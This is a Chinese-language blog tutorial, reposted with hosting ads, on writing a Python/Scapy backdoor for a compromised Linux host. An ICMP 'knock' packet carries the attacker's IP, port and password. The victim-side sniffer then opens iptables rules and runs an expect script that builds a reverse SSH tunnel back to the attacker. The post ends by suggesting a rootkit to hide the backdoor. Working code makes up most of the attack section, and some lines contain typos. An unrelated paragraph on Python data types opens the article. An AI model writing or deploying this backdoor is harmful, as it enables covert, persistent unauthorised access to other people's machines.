這篇文章給大家分享的是有關(guān)怎么用Python編寫(xiě)一個(gè)簡(jiǎn)單的CS架構(gòu)后門(mén)的內(nèi)容。小編覺(jué)得挺實(shí)用的,因此分享給大家做個(gè)參考,一起跟隨小編過(guò)來(lái)看看吧。
python的數(shù)據(jù)類(lèi)型:1. 數(shù)字類(lèi)型,包括int(整型)、long(長(zhǎng)整型)和float(浮點(diǎn)型)。2.字符串,分別是str類(lèi)型和unicode類(lèi)型。3.布爾型,Python布爾類(lèi)型也是用于邏輯運(yùn)算,有兩個(gè)值:True(真)和False(假)。4.列表,列表是Python中使用最頻繁的數(shù)據(jù)類(lèi)型,集合中可以放任何數(shù)據(jù)類(lèi)型。5. 元組,元組用”()”標(biāo)識(shí),內(nèi)部元素用逗號(hào)隔開(kāi)。6. 字典,字典是一種鍵值對(duì)的集合。7. 集合,集合是一個(gè)無(wú)序的、不重復(fù)的數(shù)據(jù)組合。
0x00:事先說(shuō)明
你已經(jīng)攻陷了對(duì)方主機(jī)且獲得了最高權(quán)限。
對(duì)方的本地防火墻會(huì)丟棄所有的外來(lái)數(shù)據(jù)包。
這個(gè)后門(mén)不會(huì)僅綁定在某一個(gè)端口上。
這段代碼很容易寫(xiě),畢竟是 Python(準(zhǔn)確說(shuō)是 Python 2.x)。
0x01:工作原理
如你所見(jiàn),客戶端將偽造具有 ICMP 負(fù)載的特定數(shù)據(jù)包,另一方面在服務(wù)端,也就是我們的被攻擊主機(jī),將會(huì)接受我們發(fā)送的數(shù)據(jù)包,即使它開(kāi)啟了本地的防火墻(丟棄所有外來(lái)數(shù)據(jù)包)。關(guān)鍵在于無(wú)線網(wǎng)卡的監(jiān)聽(tīng)模式,它無(wú)需和 AP 建立連接卻可以和接受所有流經(jīng)空氣的數(shù)據(jù)包。
我們會(huì)用到一個(gè)有用的第三方包 Scapy。這是它的官方文檔。如果你是第一次使用,不妨參考這篇文章,也許會(huì)有幫助。
0x02:客戶端代碼
''' 客戶端代碼。將服務(wù)端的 IP 地址、客戶端的 IP 地址、客戶端的連接端口,以及連接所需密碼作為程序輸入。如果成功返回一個(gè)交互式后門(mén),在代碼硬編碼好的位置寫(xiě)入日志文件信息。 ''' #! /usr/bin/env python import logging import socket from scapy.all import * import os import os.path import sys import time logging.getLongger("scapy.runtime").setLevel(loggin.ERROR) file_result = "/tmp/done" if len(sys.argv) != 5: print "usage : " + " IP_SERVER " + " CLIENT_IP " + " PORT_SSH_CLIENT " + “ PASSWORD_CLIENT ” sys.exit(1) server = sys.argv[1] if os.path.isfile(file_result): os.remove(file_result) load = sys.argv[2] + "|" + sys.argv[3] + "|" + sys.argv[4] pingr = IP(dst = server) / ICMP() / load send(pingr, verbose = 0) # send() 函數(shù)工作在協(xié)議棧的第三層(網(wǎng)絡(luò)層)
0x04:服務(wù)端代碼
服務(wù)端代碼分為兩塊:1. 主要腳本部分、2. ssh 隧道部分。
''' 服務(wù)端代碼之主要腳本部分。這個(gè)腳本會(huì)監(jiān)聽(tīng) ICMP 數(shù)據(jù)包并從句法上分析其攜帶的數(shù)據(jù)部分(客戶端 IP 地址、客戶端連接端口、連接所需密碼)。接著在本地打開(kāi)兩個(gè)新的防火墻規(guī)則。最后調(diào)用另一個(gè) expect 腳本,以建立和客戶端之間穩(wěn)定的 ssh 連接。 ''' #! /usr/bin/env python import logging import socket from scapy.all import * import re import subprocess # py2.4 新增模塊,允許用戶編寫(xiě)代碼生成新進(jìn)程,連接到它們的 input/output/error 管道,并獲取它們的返回/狀態(tài)碼。 logging.getLogger("scapy.runtime").setLevel(logging.ERROR) def icmp_monitor_callback(pkt): reg = re.compile("(.*)\|(.*)\|(.*)") g = reg.match(pkt.load) if g: subprocess.Popen(["/sbin/iptables", "-I", "INPUT", "1","-s",g.group(1),'-j','ACCEPT']) subprocess.Popen(["/sbin/iptables", "-I", "OUTPUT", "1","-d",g.group(1),'-j','ACCEPT']) p=subprocess.call(["/root/sshtunnel.sh", g.group(1),g.group(2),g.group(3)]) return sniff(prn=icmp_monitor_callback, filter="icmp", store=0) # scapy.sniff() 函數(shù)會(huì)嗅探來(lái)自空氣中的數(shù)據(jù)包,prn 參數(shù)用來(lái)指定回調(diào)函數(shù),每當(dāng)符合 filter 的報(bào)文被探測(cè)到時(shí),就會(huì)執(zhí)行回調(diào)函數(shù)。有關(guān)該函數(shù)的詳細(xì)信息,可以參考這篇博客:https://thepacketgeek.com/scapy-sniffing-with-custom-actions-part-1/
''' 服務(wù)端代碼之 ssh 隧道部分,實(shí)際上是一個(gè)簡(jiǎn)單的 expect 腳本。接受嗅探到的客戶端 IP 地址、客戶端端口,以及用于連接的密碼作為輸入。 ''' #!/usr/bin/expect -f set ip [lindex $argv 0]; set port [lindex $argv 1]; set password [lindex $argv 2]; spawn ssh -o StrictHostKeyChecking=no -R 19999:localhost:$port $ip expect "*?assword:*" send "$password\r" expect "*#" send "touch /tmp/done\r" interact
0x05:文末思考
上面完成的后門(mén)代碼待完善的地方。
ICMP payload 應(yīng)該被編碼。
添加其他的協(xié)議用來(lái)喚醒該后門(mén)(如 http、特定的 syn 包、dns 等)。
寫(xiě)一個(gè) rootkit,隱藏該后門(mén),猥瑣欲為。此乃后話。
感謝各位的閱讀!關(guān)于“怎么用Python編寫(xiě)一個(gè)簡(jiǎn)單的CS架構(gòu)后門(mén)”這篇文章就分享到這里了,希望以上內(nèi)容可以對(duì)大家有一定的幫助,讓大家可以學(xué)到更多知識(shí),如果覺(jué)得文章不錯(cuò),可以把它分享出去讓更多的人看到吧!
另外有需要云服務(wù)器可以了解下創(chuàng)新互聯(lián)scvps.cn,海內(nèi)外云服務(wù)器15元起步,三天無(wú)理由+7*72小時(shí)售后在線,公司持有idc許可證,提供“云服務(wù)器、裸金屬服務(wù)器、高防服務(wù)器、香港服務(wù)器、美國(guó)服務(wù)器、虛擬主機(jī)、免備案服務(wù)器”等云主機(jī)租用服務(wù)以及企業(yè)上云的綜合解決方案,具有“安全穩(wěn)定、簡(jiǎn)單易用、服務(wù)可用性高、性價(jià)比高”等特點(diǎn)與優(yōu)勢(shì),專(zhuān)為企業(yè)上云打造定制,能夠滿足用戶豐富、多元化的應(yīng)用場(chǎng)景需求。
網(wǎng)站欄目:怎么用Python編寫(xiě)一個(gè)簡(jiǎn)單的CS架構(gòu)后門(mén)-創(chuàng)新互聯(lián)
文章鏈接:http://www.rwnh.cn/article44/dsdche.html
成都網(wǎng)站建設(shè)公司_創(chuàng)新互聯(lián),為您提供品牌網(wǎng)站設(shè)計(jì)、域名注冊(cè)、軟件開(kāi)發(fā)、網(wǎng)站維護(hù)、網(wǎng)站排名、搜索引擎優(yōu)化
聲明:本網(wǎng)站發(fā)布的內(nèi)容(圖片、視頻和文字)以用戶投稿、用戶轉(zhuǎn)載內(nèi)容為主,如果涉及侵權(quán)請(qǐng)盡快告知,我們將會(huì)在第一時(shí)間刪除。文章觀點(diǎn)不代表本網(wǎng)站立場(chǎng),如需處理請(qǐng)聯(lián)系客服。電話:028-86922220;郵箱:631063699@qq.com。內(nèi)容未經(jīng)允許不得轉(zhuǎn)載,或轉(zhuǎn)載時(shí)需注明來(lái)源: 創(chuàng)新互聯(lián)
猜你還喜歡下面的內(nèi)容